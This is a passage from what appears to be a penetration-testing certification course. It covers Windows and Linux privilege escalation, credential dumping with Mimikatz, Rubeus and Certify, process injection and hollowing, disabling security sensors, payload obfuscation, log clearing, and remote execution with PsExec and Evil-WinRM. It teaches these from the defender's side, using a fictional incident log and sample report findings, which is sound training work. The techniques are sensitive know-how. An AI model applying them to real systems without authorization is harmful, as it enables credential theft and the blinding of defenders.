| Token impersonation (T1134.001) | Service identity holds SeImpersonatePrivilege | whoami /priv | Event 4672; service account starting odd processes | Limit who connects; fix the foothold |
Exam cues: what the stem says, and the pairs people confuse
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Path with spaces and no quotes; file planted higher up | Unquoted service path injection | Weak service permissions, where the real file is replaced |
| Quoted path, but Users can modify the program | Service file permissions weakness | Unquoted path: quoting did not help here |
| Admin user, medium integrity, no prompt, now high integrity | UAC bypass | Vertical escalation from a standard user |
| Prompt asks for an administrator's password | A standard user; a UAC bypass does not apply | Consent prompt, which asks only Yes or No |
s in the owner's execute slot | Setuid; check the owner first | Setgid: s in the group slot |
| Pager or editor allowed by sudo | Shell escape; recommend sudoedit or NOEXEC | A sudo vulnerability needing a patch |
| Print or file dialog on a public terminal reaches the desktop | Kiosk escape | Shell escape, which starts inside a command-line program |
| Survey the host; new tools allowed | Seatbelt | BloodHound, which maps the domain, not one host |
| No new files allowed on the host | PowerShell and built-in commands | Seatbelt, which must be built and copied in |
| Signed Microsoft program with an odd parent | LOLbins | A signature being proof of safe use |
How a privilege escalation finding is reported
Here is FleetSync, written as you would for a client. Nothing was written to the host.
- Title: Unquoted service path in a user-writable folder lets a standard user run code as LocalSystem on FIN-WS14.
- Severity: High, CVSS 3.1 base 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). It needs a local account and only a reboot, which standard users may perform on this workstation. Not rated Critical because it requires a foothold on this host, and it was not demonstrated, per the ROE.
- Evidence:
sc qc FleetSyncshowsBINARY_PATH_NAME : C:\Apps\Fleet Sync\sync.exeandSERVICE_START_NAME : LocalSystem.icacls C:\AppsshowsNT AUTHORITY\Authenticated Users:(I)(M).whoami /groupsconfirms a standard account. No file was created and no service restarted. - Root cause: the vendor's installer registers the path without quotation marks and defaults to a folder under
C:\, which inherits Modify for Authenticated Users (CWE-428, ATT&CK T1574.009). - Remediation: quote the path; move the application under Program Files or remove the inherited write entry; ask the vendor to fix the installer; search the fleet with the listing query. Retest with the same two commands.
As starting judgments that context can change: an unquoted path with no writable folder is Low. A UAC bypass by an existing administrator is Medium at most, reported against the over-privileged account. A sudo rule on an escape-capable program is High for the accounts it names. A kiosk escape takes its severity from the account and network behind it. A missing patch takes its severity from the advisory, with "not exploited, per ROE" stated plainly.
Common misconceptions
- "An unquoted path always means SYSTEM." It needs a writable candidate folder, a more privileged service account and a restart.
- "A UAC bypass makes a standard user an administrator." It unlocks a token the user already has. A standard user has none.
- "A restricted shell or a one-program sudo rule contains the user." Any allowed program that can start a command defeats it.
- "PowerShell's execution policy stops scripts." Microsoft says it is not a security boundary. Application control is the real constraint.
Recap
- Test every candidate with three questions: what runs with more privilege, what does it trust that I can change, and what makes it run again?
- For an unquoted path, Windows tries each space-delimited prefix plus .exe, so read
sc qcfor the account andicaclsfor each candidate folder. A folder made directly underC:\inherits Modify for Authenticated Users. - "Group used for deny only" plus a medium label marks an administrator on a standard token, the only user a UAC bypass can help. Microsoft does not service UAC bypasses.
- Setuid runs a program with its owner's rights, so read the owner column first; Linux ignores the bit on scripts; a standard program can still need a patch, as PwnKit showed.
- Sudo's control ends when the program starts, so pagers and editors in a rule allow shell escapes; recommend
sudoeditor NOEXEC. - A kiosk escape reaches a general-purpose desktop under the same account, so the kiosk account and network set its severity.
- Seatbelt needs a build and leaves a new executable; PowerShell needs nothing but can log to event 4104; LOLbins are signed, so defenders read lineage in event 4688.
- Report the chain you proved, state what you did not do, and fix the root cause.
Sources
- MITRE. (2026). MITRE ATT&CK Enterprise, version 20 (the techniques named in this lesson). T1574.009; T1548.002. MITRE. (n.d.). CWE-428: Unquoted search path or element. cwe.mitre.org
- Microsoft. (n.d.). CreateProcessA function (security remarks); icacls; 4688: A new process has been created; 4672: Special privileges assigned to new logon; Impersonate a client after authentication; Shut down the system; AlwaysInstallElevated; Windows LAPS overview; Application pool identities. CreateProcessA; event 4688
- Microsoft. (n.d.). How User Account Control works; Administrator protection; Microsoft security servicing criteria for Windows. Administrator protection; servicing criteria
- Microsoft. (n.d.). Assigned Access overview; Assigned Access recommendations; Keyboard Filter; Using Event Viewer with AppLocker; Human Interface Devices. recommendations
- Microsoft. (n.d.). Windows PowerShell ISE; about_Execution_Policies; about_Logging_Windows; about_Language_Modes; Applications that can bypass App Control. execution policies
- Schroeder, W., and Christensen, L. (n.d.). Seatbelt (version 1.2.1), README and source. GhostPack. github.com
- LOLBAS Project. (n.d.). Living off the land binaries, scripts and libraries. github.com; Pinna, E., and Cardaci, A. (n.d.). GTFOBins. gtfobins.github.io
- Miller, T. C., et al. (n.d.). sudoers manual. sudo.ws; Free Software Foundation. (n.d.). Bash reference manual, section 6.10. gnu.org; Kerrisk, M. (Ed.). (n.d.). execve(2), capabilities(7). man7.org
- Qualys Research Team. (2022, January 25). PwnKit: Local privilege escalation vulnerability discovered in polkit's pkexec (CVE-2021-4034). blog.qualys.com
- Cybersecurity and Infrastructure Security Agency, National Security Agency, Federal Bureau of Investigation, et al. (2024, February 7). PRC state-sponsored actors compromise and maintain persistent access to U.S. critical infrastructure (AA24-038A). cisa.gov
- Docker Inc. (n.d.). Linux post-installation steps for Docker Engine. docs.docker.com; Tenable. (n.d.). Microsoft Windows unquoted service path enumeration (Nessus plugin 63155). tenable.com
- Key terms
- Privilege escalation
- Gaining rights beyond those you were given, either vertically to an administrator, SYSTEM or root, or horizontally to another user at the same level.
- Unquoted service path
- A Windows service path with spaces and no quotation marks, which makes Windows try several file names in turn; it is exploitable only if someone can write to a candidate folder.
- User Account Control
- A Windows feature that runs an administrator's programs on a standard token until an elevation prompt is approved; Microsoft treats it as defense in depth, not a security boundary.
- Setuid
- A Unix permission bit that makes a program run with the rights of the file's owner instead of the caller; Linux ignores it on scripts.
- Sudo
- A Unix program that runs permitted commands as another user, usually root, according to rules in the sudoers file.
- Shell escape
- A feature of an allowed program, such as an editor or pager, that starts another command and so steps outside the rule that allowed the program.
- Restricted shell
- A shell such as rbash that blocks actions such as changing directory or PATH; its limits belong to the shell, so programs it may run can step outside them.
- Interactive kiosk
- A public computer that shows one application over a full operating system; a kiosk escape reaches that operating system through dialogs, shortcuts, ports or firmware.
- Seatbelt (GhostPack tool)
- A C# host survey that reports security settings such as UAC policy, LAPS and token privileges; its authors publish source only, so you must build it.
- Living off the land binaries (LOLbins)
- Signed programs already on a system that can do more than their stated job, used to avoid adding new tools; defenders spot them by parent process and command line.
Credentials in Memory, Code in Other Processes: Dumping, Injection, Evasion, and Log Tampering
- Explain what credential dumping, process injection (including process hollowing and library injection), payload obfuscation, circumventing security tools and log tampering are, and the weakness each one relies on.
- Read host evidence and decide what it shows, how serious it is and which control would have stopped or revealed it.
- Describe what Mimikatz, Rubeus, Certify, PsExec and Evil-WinRM are for and what evidence each leaves behind.
- Write a report finding for a host-based attack that gives severity, evidence, root cause and remediation.
Four minutes of log lines from a fictional file server
It is 02:14 at Brightwater Credit Union, a fictional firm. A monitoring tool has sent a page about a file server called FS-02. You are the analyst on call, and this is everything it sent. The format is invented for this lesson, so treat it as sample output.
02:07:41 FS-02 EDR process_access src=helper.exe (PID 4120, parent cmd.exe) target=lsass.exe access=full
02:07:42 FS-02 EDR file_created path=C:/Windows/Temp/tmp8841.dat size=61MB by=helper.exe
02:11:15 FS-02 SCM service_stopped name=BWSensor by=account svc-backup
02:11:52 FS-02 EDR agent_heartbeat_missed
02:13:09 FS-02 SEC audit_log_cleared by=account svc-backup
02:13:40 FS-02 NET inbound tcp/5985 from 192.0.2.77 session account=svc-backup
Each line is a small fact. Together they tell a story in the order a careful intruder would follow: take secrets from memory, switch off the sensor, erase the record, then use the secrets from another machine. This lesson names every step in that story, explains why it works, and shows what a defender can see and what stops it. A process ID (PID) is the number Windows gives each running program, which is why PID 4120 appears above.
You will learn the techniques from the defender's side. That is the level the exam tests and the level a report needs. Nothing here is a recipe, and no command lines for attack tools appear.
Exam objectives: 4.4 (credential dumping, circumventing security tools, payload obfuscation, library injection, process hollowing and injection, log tampering; Mimikatz, Rubeus, Certify, PsExec, Evil-WinRM). Lesson 15 covered the first half of 4.4: privilege escalation, misconfigured endpoints, shell and kiosk escapes, Seatbelt, PowerShell and the PowerShell Integrated Scripting Environment (ISE), and living off the land binaries (LOLbins).
Before you read further: permission, scope and what this lesson will not do
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. The lab for this lesson only reads fictional evidence printed on the page. You run nothing against any system.
The rules of engagement (ROE) matter more here than in most lessons, because every technique below can damage a live system or blind its defenders. Credential dumping collects secrets that belong to real people. Injection into a process can crash a business application. Disabling a sensor leaves the client unprotected while you work. Clearing a log destroys evidence the client may need for an unrelated real incident.
So an ROE normally says one of three things about each technique: forbidden, allowed only against named test hosts, or allowed only as a recorded demonstration with the client's security team watching. Your job is to know which, and to ask before you act when the document is silent.
Credential dumping and the Local Security Authority Subsystem Service
Credential dumping means getting copies of stored login secrets from a computer, such as password hashes, tickets or keys, so they can be reused. It is not guessing passwords. The secrets already exist on the machine, and the question is who is allowed to read them.
On Windows the main store is the Local Security Authority Subsystem Service (LSASS), a system process named lsass.exe. After a user signs in, Windows creates several kinds of credential material and keeps them in LSASS process memory so the user does not have to retype a password for every network resource.[1] That convenience is the weakness. Anyone who can read that memory, or a saved copy of it, holds material that can be used to sign in elsewhere. ATT&CK notes that an administrative user or SYSTEM can harvest this material and use it for lateral movement, meaning moving from one machine to the next.[1]
Notice the condition. Reading LSASS memory needs administrator or SYSTEM rights. So credential dumping is almost never the first step. It follows privilege escalation (Lesson 15), and it is what turns control of one machine into access to many. Other stores exist too, such as the local account database, cached domain logons and secrets kept by services, and Linux hosts keep hashes in files readable only by root.
Why the ROE limit it. A dump may contain the passwords or hashes of every person who signed in recently, including executives and administrators who are not part of the test. Most ROE require encrypted storage, a note of exactly which accounts were exposed, and a rule that the material is deleted or handed over at the end. Many forbid dumping from domain controllers or production servers without a named approval.
What defenders see. Reading LSASS is a rare thing for ordinary programs to do. ATT&CK's detection idea is a process that does not normally touch LSASS opening it with full access and then creating a large file or changing the Registry.[1] That is exactly the first two lines of the FS-02 log. Real attackers use ordinary tools for this, including Task Manager and Sysinternals utilities, so the tool's name proves little and the behavior proves a lot.[1]
What fixes or reduces it. Microsoft's added protection for LSA stops processes that are not protected from reading its memory or injecting code into it, and it is on by default in Windows 11.[5] Plug-ins loaded into LSA must then carry a Microsoft signature, so the feature has an audit mode that logs what would fail to load before you enforce it.[5] ATT&CK also lists Credential Guard, which isolates secrets from the rest of the system but is not on by default, has hardware needs and does not stop every form of dumping.[1] The rest is hygiene: attack surface reduction (ASR) rules that guard LSASS, disabling the old WDigest protocol and restricting NTLM, unique local administrator passwords on every host, and keeping domain accounts out of local administrator groups.[1]
Key idea: credential dumping depends on one fact, that secrets sit in memory while users are signed in. You cannot patch that away, so defenders protect the process that holds them and watch for anything that reaches into it.
Mimikatz, Rubeus and Certify compared: three tools, three kinds of secret
The exam lists three tools that handle credentials. They are easy to mix up, so compare them by what each one touches.
Mimikatz is the best known credential tool on Windows. It is open source and was written to show weaknesses in how Windows keeps secrets. It reads credential material that sits in memory and in saved memory copies, and ATT&CK records it in dozens of real intrusions, from state-backed groups to ransomware crews.[1] Its use leaves evidence: a file written to disk, antivirus alerts that name it, an unusual process opening LSASS, and often a later sign-in from a place the account never used before. Because it is so widely known, endpoint products detect its file and its behavior. Testers therefore expect it to be caught, and a catch is a useful result for the report. There is also a practical warning. Run casually on a client machine, it collects other people's secrets, which is why the ROE decide.
Rubeus is a different animal. It is a C# toolset for raw interaction with Kerberos, the ticket-based sign-in system used in Windows domains, and for abusing it.[6] Where Mimikatz is about what is stored on one host, Rubeus is about the tickets that prove identity across a domain. Its use shows up on the domain controller as unusual ticket requests, such as requests with odd encryption choices, tickets asked for by accounts that rarely ask, or a ticket used from a machine that did not request it. A ticket is a time-limited proof of identity that the domain hands out after a sign-in, so a stolen ticket works like a borrowed badge until it expires. Stolen secrets and stolen tickets therefore feed each other.
Certify targets neither passwords nor tickets. It is a C# tool to find and abuse misconfigurations in Active Directory Certificate Services (AD CS), the part of a domain that issues digital certificates.[6] A certificate can be used as a login credential, so a badly configured certificate template can let a low-privilege account obtain a certificate that identifies someone far more powerful. The authors released it with a 2021 research paper called Certified Pre-Owned, which also contains prevention and detection advice, and they chose not to publish compiled binaries, so users must build it themselves.[6] Evidence of its use sits in the certificate authority's own logs: who requested what, from which template, and who was named in the request.
| Tool | What it works on | What it needs first | Evidence it leaves |
|---|---|---|---|
| Mimikatz | Secrets in memory and saved memory copies | Administrator or SYSTEM on the host | File on disk, antivirus alerts, LSASS access, later reuse of the account |
| Rubeus | Kerberos tickets and ticket requests | A domain foothold, sometimes plus stolen material | Odd ticket requests and uses in domain controller logs |
| Certify | Certificate templates and certificate authority settings | Any domain account that can reach the authority | Certificate requests in the authority's logs |
None of these three is the attack. Each is a convenient way to ask a question the weakness already allows. The fix is always the weakness: protected LSA, short ticket lifetimes, tight certificate templates, and logging that someone actually reads.
Process injection, process hollowing and library injection: borrowing a trusted name
Process injection means getting code to run inside the memory of a different, already running program.[2] Ordinary programs each live in their own protected memory. Injection is possible because the operating system also offers legitimate features that let one process work inside another, for debuggers, accessibility tools and security products. Attackers abuse those same features.
The reason to do it is disguise and reach. Code running inside another process inherits that process's name, its network permissions and its privileges, and security tools that judge by process name see only the trusted host.[2] ATT&CK files injection under two goals, evading process-based defenses and escalating privilege.[2] Two named forms are on the exam.
- Library injection makes another process load a dynamic-link library (DLL), a file of reusable code that Windows programs load as needed. ATT&CK lists this as DLL injection.[2] The program then runs the library's code as if it were part of itself. A related weakness is when a program loads a library by name and searches folders in an order that someone can write to; Lesson 15's unquoted paths are a cousin of that idea, since both exploit where Windows looks.
- Process hollowing starts with a legitimate program and replaces what it contains with different code, so the process still carries the trusted program's name while doing something else.[2] The name in the process list is true. The content is not.
What makes it possible. The attacker needs enough rights over the target process, usually the same account or an administrator, and nothing in the system forbidding it. That is why protected processes matter: LSASS refuses injection from unprotected processes once the added protection is on.[5]
Why the ROE limit it. Injecting into the wrong process can crash it, and some processes are the business application itself or a security agent. Testers are normally limited to named test hosts and told which processes are off limits.
What defenders see. ATT&CK's detection idea is correlation: calls that write into another process's memory, a thread started inside that other process, and unexpected libraries loading there.[2] Practical signs are a process that suddenly makes network connections it never made before, a trusted program started by an odd parent, and a program whose image on disk does not match what is in memory. Memory scanning in an endpoint detection and response (EDR) product, a sensor that watches process behavior on a host, is the usual way to catch hollowing.
What fixes or reduces it. Mitigations are layered. Endpoint products can block known injection behavior, and ATT&CK notes attack surface reduction rules that stop Office programs from injecting code.[2] Application control limits which libraries and programs may load at all. Least privilege matters most, because injection into another account's process needs rights the attacker should not have. On Linux, the same source recommends limiting the debugging call ptrace to privileged users, with SELinux or AppArmor adding process restrictions.[2]
Remember: injection does not give an attacker new powers by itself. It lets them borrow the identity, rights and reputation of a process that already has them, so the defense is to limit what each process may do and to notice when it does something new.
Circumventing security tools: disabling, blinding or bypassing the sensors
The exam's phrase circumventing security tools covers any attempt to make a host's defenses see less or do less. ATT&CK's name for the family is Disable or Modify Tools. It includes stopping services, ending processes, editing a tool's configuration or Registry keys, and preventing updates.[3] It also includes blocking the signals tools depend on, such as Windows event tracing or the path that forwards logs to a central system.[3]
This works for a plain reason: a security agent is software running on the very machine it watches. Anyone with administrator or SYSTEM rights there has a lot of power over it, unless the agent protects itself. Tampering protection in the product, a protected service, and central policy that the local administrator cannot change all raise the bar. None is perfect.
Why the ROE limit it. This one is often forbidden outright or limited to a lab host. Switching off a client's antivirus or sensor on a production machine removes the protection they pay for, and a real intruder could use the gap. If the engagement's purpose is to test detection, the ROE usually say to try only what the client's security team has agreed to watch for, and to stop when a tool blocks you. A block is a result, not an obstacle to defeat.
What defenders see. A security agent that stops or misses its regular check-in is itself an alert. In the FS-02 log that is the line agent_heartbeat_missed. Other signs are a service-stopped event for a security product, new exclusion paths added to an antivirus, changed Registry settings and an agent version that does not match the fleet.
What fixes or reduces it. ATT&CK suggests several controls.[3]
- Check that every expected host reports in to the central console, and treat silence as a finding.
- Review exclusion lists for paths nobody can explain.
- Use application control so only approved security software runs.
- Restrict file, Registry and service permissions so ordinary administrators cannot stop the agent.
Many organizations also separate duties, so the person who administers servers cannot change the security policy for them.
Payload obfuscation: making the same code look different
A payload is the part of an attack that does the damage or gives the access. Payload obfuscation means hiding its content, by encrypting, encoding, compressing or splitting it, so that scanners and analysts have a harder time recognizing it.[4] The code does the same thing, but the bytes on disk or on the wire look different.
It works because many older defenses are signature based: they match known patterns. A pattern match fails if the pattern is changed. Obfuscation therefore defeats the weakest layer, not the whole stack. ATT&CK also describes payloads split into several harmless-looking files that reveal their function only when put together, and compressed or password-protected archives that a scanner cannot open.[4]
Why the ROE limit it. A tester does not need to prove that a clever disguise can fool a product. The useful question is whether the client's layers catch something once it runs. Many ROE therefore allow tools to be detected as normal, or ask the tester to say in advance which evasion is in scope. A tester also has a duty not to leave live, disguised malware on a client network.
What defenders see. The disguise rarely survives running. Observers can look at behavior rather than appearance: what the program does, what it contacts and what it changes. Signs include large encoded strings in command lines, scripts that decode themselves, archives from outside that need a password, and a decoder program starting just before another process misbehaves.
What fixes or reduces it. ATT&CK points to antivirus plus the Antimalware Scan Interface (AMSI), a Windows feature that lets security products inspect scripts after they are decoded, and to attack surface reduction rules that block execution of potentially obfuscated payloads.[4] Add script logging, application control, and blocking of password-protected archives at the mail gateway. The principle is to inspect at the point of execution, when the disguise has to come off.
Tools that never write an ordinary program file are an extension of the same idea. A payload can be packaged in a compiled but unlinked form such as the Common Object File Format (COFF), the standard structure of an object file, and run inside another process. Defenders then lean on the behavior and memory signals described under injection, because there is no ordinary file to scan.
Log tampering: erasing or disabling the record
Log tampering is changing, deleting or switching off the records a system keeps of what happened. ATT&CK groups it with disabling tools, and its sub-techniques name clearing Windows event logs, disabling or modifying the Windows event log, disabling Linux audit logging, and clearing Linux or macOS system logs.[3] (Older ATT&CK versions gave log clearing its own ID, T1070.001. The current site redirects it into the Disable or Modify Tools family, T1685.005, so expect either number in reference material.)[3]
It is possible because a log written on a machine is controlled by whoever controls the machine. If the only copy is local, an administrator can remove it. The attacker's purpose is to delay detection and to make the investigation harder to finish.
Why the ROE limit it. Of everything in this lesson, this is the one a tester almost never does. Logs belong to the client, and they may be needed for audits, fraud cases or a real attack in progress. Standard practice, which Lesson 26 returns to, is to leave logs alone unless the contract specifically authorizes changing them, and then only after a backup. The honest way to test detection is to leave logs intact and report whether the client noticed.
What defenders see. Clearing a log is loud. Windows writes an event when the audit log is cleared, and the log's own history shows a gap with nothing before a certain time. The FS-02 line audit_log_cleared is that signal. Silence is also evidence: a busy server with no events for twenty minutes, or a forwarded stream that stops.
What fixes or reduces it. Copy logs away from the host as they are written. A security information and event management (SIEM) system collects logs from many sources into one searchable place that a local administrator cannot edit. With forwarding in place, clearing the local copy only adds one more alert, because the original lines already left the building. ATT&CK also suggests relaunching forwarding mechanisms at recurring intervals and applying change management to their settings.[3] Add write-once storage, a retention policy longer than most intrusions stay hidden, and an alert on log-cleared events.
PsExec and Evil-WinRM: two ways to run commands on another computer
These two exam tools are about remote execution, which is how an attacker uses stolen credentials from the earlier sections. Both are also real administration tools, so the same traffic can be legitimate. Lesson 24 shows how remote management is used to move through a network, so here the focus is what each one is and what it leaves behind.
PsExec is a Microsoft Sysinternals utility that runs programs on other Windows systems without first installing client software there, and it gives full interaction with console programs.[7] Administrators use it every day. Microsoft's own page warns that some antivirus products flag the PsTools suite as a remote administration threat, because malware has used them.[7] That tells you what its footprint looks like: a network sign-in with administrative rights, a remote service or process appearing on the target for a short time, and a command running as a high-privilege account. Defenders correlate those events and ask whether this administrator should be doing this from this machine.
Evil-WinRM is a shell built for penetration testing over Windows Remote Management (WinRM), Microsoft's implementation of the WS-Management protocol.[8] Its project says WinRM usually listens on port 5985, and that the tool works only with valid credentials and permissions.[8] The tool uses the PowerShell Remoting Protocol under the hood.[8] The FS-02 log's last line, inbound traffic on tcp/5985 from an address that is not an administration host, shows its footprint: an unexpected WinRM session, then PowerShell activity under that account. It is one of the places script block logging earns its keep.
| Tool | What it is for | What it needs | Evidence it leaves |
|---|---|---|---|
| PsExec | Running a program on another Windows computer, with console interaction | Administrative rights on the target and network access to it | Administrative network sign-in, a short-lived remote service or process, and security product warnings |
| Evil-WinRM | An interactive PowerShell shell over WinRM, built for testers | Valid credentials, a WinRM listener (often port 5985) and permission to use it | Inbound WinRM session, PowerShell logging under that account |
The fix is not to ban the tools, because the protocols are built into Windows. Limit who may use remote management and from where, turn on the logs, use unique local administrator passwords so one stolen secret does not open every host, and alert when an administrative sign-in comes from a machine that is not an administrator's workstation.
The whole family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Credential dumping | Secrets held in LSASS memory while users are signed in | Mimikatz, Rubeus, Certify (for tickets and certificates) | Odd process opening LSASS, large new file, later reuse of the account | LSA protection, Credential Guard, unique local admin passwords, fewer privileged sign-ins |
| Process injection, including library injection | Legitimate features that let one process act inside another | Part of many attack toolkits | Memory writes and new threads in another process, unexpected libraries | Least privilege, application control, ASR rules, EDR |
| Process hollowing | A trusted name is not proof of trusted content | Same | Image on disk differs from memory, odd parent process | EDR memory scanning, application control |
| Circumventing security tools | Agent runs on the host it protects | Admin tools and abused drivers | Missed heartbeat, stopped service, new exclusions | Tamper protection, central policy, check-in monitoring |
| Payload obfuscation | Signature matching fails when the bytes change | Encoders, packers, archives | Self-decoding scripts, encoded strings, password-protected archives | AMSI, ASR rules, behavior detection, script logging |
| Log tampering | Whoever controls the host controls its local logs | Built-in logging commands | Log-cleared event, gaps, stopped forwarding | SIEM forwarding, write-once storage, alert on clearing |
| Remote execution | Stolen credentials plus remote management left open | PsExec, Evil-WinRM | Administrative sign-in from a new machine, WinRM session | Restrict sources, logging, unique admin passwords |
Worked example: reading the FS-02 log
Return to the six lines at the start. Work through them with four questions: what happened, in what order, how much do we know, and what would the report say?
- 02:07:41 and 02:07:42. An unfamiliar program named helper.exe, started by a command shell, opened lsass.exe with full access and then created a 61 MB file in a temporary folder. A program with no business touching LSASS followed by a large file is the credential-dumping pattern.[1] Treat it as: the secrets of everyone recently signed in to FS-02 may now be in that file.
- 02:11:15 and 02:11:52. The service BWSensor, the host's security agent, was stopped by account svc-backup, and the agent stopped reporting. Stopping a sensor is the Disable or Modify Tools family.[3] It came four minutes after the dump, so it looks deliberate, not an accident.
- 02:13:09. The audit log was cleared by the same account. This is log tampering, and it explains why this page of evidence is so short.
- 02:13:40. Someone from 192.0.2.77, an address not on the administration list, opened a remote management session as svc-backup. The account had been used from the machine itself, then from the network. This is the use of what was taken.
The conclusion is that svc-backup is compromised and probably so is every account that signed in to FS-02 recently. A fuller answer also says what is not known: how the intruder got administrator rights, and what 192.0.2.77 did next. That is where the SIEM copy of the logs becomes valuable, since the local log was cleared but the forwarded lines were not, unless forwarding stopped at 02:11.
Second run, one input changed. Suppose the first line instead shows the process_access came from the organization's approved backup agent, and no new file was created. The same lines now read very differently: backup software legitimately reads many things, there is no sign of a copy of memory, and the log clearing might be an administrator's housekeeping. You would still check the stopped sensor and the log clear, because those are suspicious regardless, but you would probably rate the incident far lower. The facts that carry the severity are who opened LSASS and whether a file followed. That is why you read the whole chain before rating any single line.
The core of it: a log line is a clue, and a chain of lines is evidence. Rate the chain.
Exam cues: what the stem says, and the pairs people confuse
| The stem says | The answer points to |
|---|---|
| A process opens lsass.exe and a large file appears | Credential dumping |
| A trusted process name makes network connections it never made before | Process injection (or hollowing) |
| The program on disk is legitimate but its memory contents are different | Process hollowing |
| A process loads an unexpected DLL | Library injection (or a library search-order weakness) |
| The sensor stops reporting and a service was stopped | Circumventing security tools |
| Encoded strings, a self-decoding script, a password-protected archive | Payload obfuscation |
| Log-cleared event, a gap in time, forwarding stopped | Log tampering |
| Tool for Kerberos tickets | Rubeus |
| Tool for certificate templates in a domain | Certify |
| Tool that reads credential material from memory | Mimikatz |
| Sysinternals utility to run a program on another host | PsExec |
| Interactive shell over WinRM (port 5985) | Evil-WinRM |
Two pairs cause most errors. Injection versus hollowing: injection adds code to a running process; hollowing replaces the contents of a legitimate program so the name is borrowed. Obfuscation versus evasion of tools: obfuscation changes how the payload looks, while circumventing tools attacks the defender's software or its signals directly. Also note a scenario that asks what a tester should do about log clearing: the usual answer is not to clear logs, and to report whether the logs and alerts worked.
How a host-based attack finding is reported
A finding for this family usually covers a control that failed, not the trick. Writing "Mimikatz works" helps nobody. Write what the attacker could reach, and the single change that most reduces the risk. If the ROE forbade a technique, say so, and report what you could confirm without doing it.
- Title: Domain service account with local administrator rights on a file server exposes cached credentials in LSASS memory.
- Severity: High (illustrative CVSS 3.1 base 7.8, AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) because a compromise of the account gives all recently signed-in accounts. It rises to Critical if domain administrators sign in to that server. Justify the rating by what you observed, and say what you did not test.
- Evidence: a screenshot or log extract showing LSA protection not enabled, the list of accounts with local administrator rights, and the security tool's alert (or silence) when the approved test ran.
- Root cause: LSA protection is off, the account is over-privileged, and the same service account is reused across servers.
- Remediation: turn on LSA protection after running audit mode, remove the account from local administrator groups, give each server a unique local administrator password, forward logs to the SIEM, and alert on LSASS access. Retest by checking the same settings and re-running the approved test.
Detection is a finding too. If the client's tools caught every action, write it as a positive result with the time it took to alert. If they caught nothing, say which log or sensor should have, and how long the testing went unnoticed.
Common misconceptions
- Belief: credential dumping needs password cracking. Reality: it reads stored material, and cracking is a separate step that is sometimes unnecessary.
- Belief: a process with a Microsoft name is safe. Reality: injection and hollowing borrow trusted names, so judge behavior.
- Belief: antivirus that does not alert means nothing happened. Reality: a sensor can be stopped or blinded, and obfuscation targets signature matching.
- Belief: clearing a log leaves no trace. Reality: clearing creates its own event, and forwarded copies remain.
- Belief: PsExec and Evil-WinRM are malware. Reality: both are legitimate remote tools whose abuse is judged by who uses them and from where.
- Belief: a tester should clear logs to test the client. Reality: logs belong to the client, and testers leave them intact unless the contract says otherwise.
The takeaway
The core of it: each technique here exploits something that must exist for the system to work, such as secrets in memory, processes that cooperate, a sensor on the same host, and logs written locally. The defense is to protect that thing and to keep a second, independent record. Seven claims to carry away:
- LSASS holds credential material in memory after sign-in, and reading it needs administrator or SYSTEM rights.[1]
- LSA protection blocks unprotected processes from reading LSASS or injecting into it, and is on by default in Windows 11.[5]
- Mimikatz works on stored material, Rubeus on Kerberos tickets and Certify on AD CS certificates.[1][6]
- Process injection runs code inside another process, and process hollowing swaps a trusted program's contents so the name looks legitimate.[2]
- A security agent that stops reporting is an alert in itself, and tamper protection and check-in monitoring are the fixes.[3]
- Obfuscation defeats signature matching, so defenders inspect at execution with AMSI and behavior detection.[4]
- Forwarding logs to a SIEM makes local log clearing both visible and survivable, and testers do not clear client logs without written authorization.
Sources
- MITRE. (2026). OS credential dumping: LSASS memory (T1003.001). MITRE ATT&CK Enterprise. attack.mitre.org
- MITRE. (2026). Process injection (T1055), including sub-techniques T1055.001 and T1055.012. MITRE ATT&CK Enterprise. attack.mitre.org
- MITRE. (2026). Disable or modify tools (T1685), which now contains the former log-clearing technique T1070.001 as T1685.005. MITRE ATT&CK Enterprise. attack.mitre.org
- MITRE. (2026). Obfuscated files or information (T1027). MITRE ATT&CK Enterprise. attack.mitre.org
- Microsoft. (n.d.). Configure added LSA protection. Microsoft Learn. learn.microsoft.com
- GhostPack. (n.d.). Rubeus and Certify, README files. GitHub. Rubeus; Certify
- Russinovich, M. (2023, April 11). PsExec (v2.43). Microsoft Learn, Sysinternals. learn.microsoft.com
- Hackplayers. (n.d.). Evil-WinRM, README. GitHub. github.com
- Key terms
- Credential dumping
- Copying stored login secrets such as hashes, tickets or keys from a computer so they can be reused; on Windows the main target is the memory of the LSASS process, and reading it needs administrator or SYSTEM rights.
- Local Security Authority Subsystem Service (LSASS)
- The Windows process named lsass.exe that checks sign-ins and keeps credential material in its memory while users are signed in, which is why it is protected and watched.
- Process injection
- Running code inside the memory of a different, already running program, so the code borrows that program's name, rights and network access.
- Process hollowing
- A form of process injection in which a legitimate program's contents are replaced with other code, so the process keeps a trusted name while running something else.
- Library injection
- Making a running program load a dynamic-link library (DLL) it did not choose, so the library's code runs as part of that program.
- Circumventing security tools
- Making a host's defenses see or do less, for example by stopping a security service, changing its configuration or cutting off the signals it relies on; a missed check-in from an agent is the usual sign.
- Payload obfuscation
- Hiding the content of an attack payload by encrypting, encoding, compressing or splitting it, which defeats signature matching but not behavior-based detection.
- Log tampering
- Deleting, changing or disabling the records a system keeps; forwarding logs to a separate collector makes it visible and survivable.
- Security information and event management (SIEM)
- A system that collects logs from many hosts into one searchable store that a local administrator cannot edit, used to correlate events and raise alerts.
- Evil-WinRM
- A shell built for penetration testers that works over Windows Remote Management, usually on port 5985, and needs valid credentials and permission to use the service.
Where Input Becomes Code: Injection, Deserialization, and Code Execution
- Trace input from where it enters to the interpreter that reads it, and explain why SQL injection, command injection, XSS, server-side template injection and deserialization are one mistake in five settings.
- Read vulnerable and fixed code side by side, and name the control that separates code from data in each case.
- Choose among Burp Suite, ZAP and sqlmap for a given task, and read their output as evidence.
- Recognize what defenders see for each flaw, and report it with root cause, severity and remediation.
One apostrophe in a surname
Two customers of Larkspur Books, a fictional online shop, search for their orders on the same morning. Okafor gets her list. O'Brien gets an error page. Nothing is wrong with her account. The apostrophe in her name reached the database as part of the instructions, and the database could not parse them.
